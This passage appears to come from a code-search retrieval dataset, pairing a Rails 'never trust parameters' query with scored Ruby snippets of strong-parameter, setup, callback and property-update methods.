test_instance\n end\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5203692", "text": "def create_setup\n \n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.52036524", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.51995677", "text": "def performed(action)\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51958364", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51958364", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.51914203", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.51794034", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.5178634", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173361", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173361", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173361", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.51644397", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.51532143", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.51424634", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.5140684", "text": "def code_action_provider; end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.5140337", "text": "def setup(params)\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5139829", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.513508", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.51161575", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.511372", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5111875", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51083213", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51083213", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51083213", "text": "def action\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.51056045", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.51042956", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.5098082", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50948924", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.5091935", "text": "def config(action, *args); end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "c6e713adc91b23cd5bea869639be1485", "score": "0.0", "text": "def cdbicd_params\n params.require(:cdbicd).permit(:diagnosis_code, :diagnosis_description, :diagnosis_icd10, :diagnosis_type, :diagnosis_source, :diagnosis_start_date, :diagnosis_end_date)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7498391", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.6958937", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.6924017", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.6895764", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67873955", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.67456704", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6683512", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6639143", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.6631316", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66287345", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.6565319", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.64924574", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.64797056", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64560956", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6402376", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6385025", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6366386", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.6340244", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6338671", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.63287723", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.63215613", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.6317019", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.6315601", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6308206", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.63034993", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.6300604", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.6298437", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.6294985", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.6294985", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6280761", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.62748885", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.626887", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.6258698", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.62570846", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.6254046", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.62373966", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.6230575", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6229839", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.62289745", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.62280476", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.62021756", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61929274", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.6185095", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6180293", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.6165102", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6163071", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.615732", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.615703", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61373365", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.6135682", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.6122126", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.61180484", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.61180484", "text": "def check_params; true; end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61152756", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.61124563", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6105797", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6105797", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6100306", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6100306", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.6088124", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.6087867", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.6087592", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.60798496", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60764563", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.6068961", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.6068933", "text": "def need_params\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6068903", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6068713", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6066675", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.606551", "text": "def filtered_parameters; end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.60643387", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60593444", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6050802", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6050802", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60498106", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.60481936", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6043016", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.6036625", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6033257", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.60283345", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6022475", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.60221934", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.60183156", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60159814", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60103565", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6008301", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6008301", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.600782", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.60065585", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6004023", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.6003383", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6002891", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6002891", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.60016084", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.60016084", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.6000292", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.5995739", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.59950155", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.59942985", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.5993232", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59921163", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" } ]
af630984682f1a0b5a68e6092af0d102
Update properties of this object
[ { "docid": "fce4c0ac83011c4131e6394febf0a599", "score": "0.0", "text": "def update!(**args)\n @language = args[:language] if args.key?(:language)\n @name = args[:name] if args.key?(:name)\n @ratings = args[:ratings] if args.key?(:ratings)\n @tags = args[:tags] if args.key?(:tags)\n end", "title": "" } ]
[ { "docid": "150fa2bdc1fc43d28ac45e2278a1f797", "score": "0.7012263", "text": "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "37ae8a386fde14c02d7021605aa72f45", "score": "0.67403597", "text": "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end", "title": "" }, { "docid": "10e41ec39ba2af73495ccece21c2d8a3", "score": "0.6709326", "text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "title": "" }, { "docid": "10e41ec39ba2af73495ccece21c2d8a3", "score": "0.6709326", "text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "47bbd8b88b35da987fc3775b82211e56", "score": "0.6618882", "text": "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end", "title": "" }, { "docid": "769b77b7f7f9f82ae847f5968eb201dc", "score": "0.6571848", "text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "title": "" }, { "docid": 